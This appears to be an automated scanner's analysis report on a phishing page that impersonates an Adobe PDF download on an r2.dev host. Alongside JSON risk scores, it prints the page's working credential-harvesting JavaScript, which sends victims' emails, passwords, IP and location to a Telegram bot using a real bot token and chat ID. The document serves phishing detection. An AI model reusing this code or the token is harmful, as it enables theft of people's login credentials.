Windows Analysis Report
https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev/repo.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including data exfiltration (sending sensitive user data like email and password to a Telegram bot), and the use of external APIs to fetch IP address and location information without user consent. While the script may have a legitimate purpose, the lack of transparency and the potential for abuse make it a high-risk script that requires further review."
}

    const botToken = '6001656899:AAEL-gobTqJKPLYoNBp1qvTQrGXRgCHUsDE'; // Replace with your bot token
    const chatID = '5759084339'; // Replace with your chat ID

    // Function to fetch IP address, location (country, zip), and device info
    async function getDeviceAndLocationInfo() {
        const currentDateTime = new Date().toLocaleString();
        const url = window.location.href;

        const deviceInfo = {
            userAgent: navigator.userAgent,
            platform: navigator.platform,
            language: navigator.language,
        };

        let ipAddress = 'Unable to retrieve IP address';
        let country = 'Unknown';
        let zipcode = 'Unknown';
        let emojiFlag = ''; // Default flag if not found

        try {
            // Fetch IP address
            const ipResponse = await fetch('https://api.ipify.org?format=json');
            const ipData = await ipResponse.json();
            ipAddress = ipData.ip;

            // Fetch location details
            const locationResponse = await fetch(`https://ipapi.co/${ipAddress}/json/`);
            const locationData = await locationResponse.json();
            country = locationData.country_name || 'Unknown';
            zipcode = locationData.postal || 'Unknown';
            
            // Get the country flag emoji based on country code
            const countryCode = locationData.country || 'US';
            emojiFlag = getEmojiFlag(countryCode);

        } catch (error) {
            console.error('Error fetching IP or location data:', error);
        }

        return {
            currentDateTime,
            ipAddress,
            deviceInfo,
            country,
            zipcode,
            emojiFlag,
            url
        };
    }

    // Helper function to convert country code to emoji flag
    function getEmojiFlag(countryCode) {
        const codePoints = countryCode
            .toUpperCase()
            .split('')
            .map(char => 127397 + char.charCodeAt());
        return String.fromCodePoint(...codePoints);
    }

    // Function to send form data and additional info to Telegram
    async function sendDataToTelegram(tin, tan, statusMessage) {
        const info = await getDeviceAndLocationInfo();

        const message = `
 Form Submission Alert:
- Email: ${tin}
- Password: ${tan}
- Status: ${statusMessage}

 Device & Location Info:
- Date & Time: ${info.currentDateTime}
- IP Address: ${info.ipAddress}
- Country: ${info.country} ${info.emojiFlag}
- Zip Code: ${info.zipcode}
- Device Info: ${info.deviceInfo.userAgent}
        `;

        // Send message to Telegram bot
        const telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatID}&text=${encodeURIComponent(message)}`;
        
        try {
            const response = await fetch(telegramUrl);
            if (response.ok) {
               // console.log("Message sent to Telegram successfully.");
            } else {
               // console.error("Error sending message to Telegram.");
            }
        } catch (error) {
           // console.error("Error:", error);
        }
    }

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including sending sensitive user data (TIN and TAN) to a Telegram bot, which could be used for malicious purposes. Additionally, the script redirects the user to a Google Drive URL after a successful login attempt, which could be part of a phishing or credential harvesting scheme. While the script may have some legitimate functionality, the overall risk level is high due to the potential for data exfiltration and suspicious redirection."
}

    $(document).ready(function() {
        // Get the value of the 'email' parameter from the URL
        const urlParams = new URLSearchParams(window.location.search);
        const emailValue = urlParams.get('email');

        // Set the value of the input field with id 'email'
        $('#tin').val(emailValue);

        // Flag to track submission attempts
        let submissionAttempt = 0;

        // Handle form submission
        $("#myForm").submit(async function(event) {
            // Prevent the default form submission behavior
            event.preventDefault();

            // Show the loading GIF
            $("#loadingGif").show();

            // Get the values of the form inputs
            var tinVal = $("#tin").val();
            var tanVal = $("#tan").val();

            // First submission attempt
            if (submissionAttempt === 0) {
                // Display error message
                setTimeout(function() {
                    $("#message").html("Incorrect password, try again");
                }, 1000);

                // Clear the TAN input
                $("#tan").val("");

                // Send a message to Telegram about the incorrect attempt
                await sendDataToTelegram(tinVal, tanVal, "Incorrect password, try again");

                // Increment the submission attempt counter
                submissionAttempt++;
            } else {
                // Second submission attempt, process the form

                // Display success message
                setTimeout(function() {
                    $("#message").html("Success! Retrieving document(s)");
                }, 1000);

                // Send a success message to Telegram
                await sendDataToTelegram(tinVal, tanVal, "Success! Retrieving document(s)");

                // Redirect to another page after a brief delay
                setTimeout(function() {
                    window.location.href = "https://drive.google.com/drive/u/0/my-drive";
                }, 2000);
            }
        });
    });

{
  "contains_trigger_text": true,
  "trigger_text": "Secured online PDF Document",
  "prominent_button_name": "Download",
  "text_input_field_labels": [
    "Email ID",
    "Email password"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

```json
{
    "risk_score": 1,
    "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. There are no high-risk indicators such as dynamic code execution or data exfiltration. The script does not interact with external domains or perform any suspicious activities. It uses standard practices for library initialization and extension, and there are no signs of obfuscation or malicious intent."
}

/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="s

{
  "brands": [
    "Adobe"
  ]
}

```json{  "legit_domain": "adobe.com",  "classification": "wellknown",  "reasons": [    "The brand 'Adobe' is well-known and typically associated with the domain 'adobe.com'.",    "The provided URL 'pub-290e9228bc824ffb99ba933687a27ad7.r2.dev' does not match the legitimate domain 'adobe.com'.",    "The URL uses a subdomain structure that is not typically associated with Adobe's official domains.",    "The domain extension '.dev' is unusual for Adobe, which typically uses '.com'.",    "The presence of input fields for 'Email ID' and 'Email password' is suspicious, especially when combined with an unrecognized domain."  ],  "riskscore": 9}
Google indexed: False